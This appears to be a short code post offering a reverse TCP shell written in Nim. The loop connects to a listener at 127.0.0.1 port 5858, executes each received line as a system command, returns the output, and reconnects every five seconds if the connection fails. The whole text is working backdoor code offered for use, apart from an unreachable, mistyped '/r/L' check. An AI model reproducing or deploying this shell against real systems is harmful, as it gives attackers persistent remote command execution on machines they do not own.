Reverse TCP shell in Nim-Lang; with rejoin/retry connections

revshell.nim

import net, os, osproc

while true:
    try:
        var client: Socket = newSocket()
        client.connect("127.0.0.1", Port(5858))
        stdout.writeLine("Connected to server.")

        while true:
            let message: string = client.recvLine()
            if message != "":
                let (output, exitCode) = execCmdEx message # execute received cmd
                client.send(output)
            elif message == "/r/L": # blank recvLine is /r/L
                continue
            else:
                break
    except:
        echo("server not ready")
        sleep(5000) # 5 second retry wait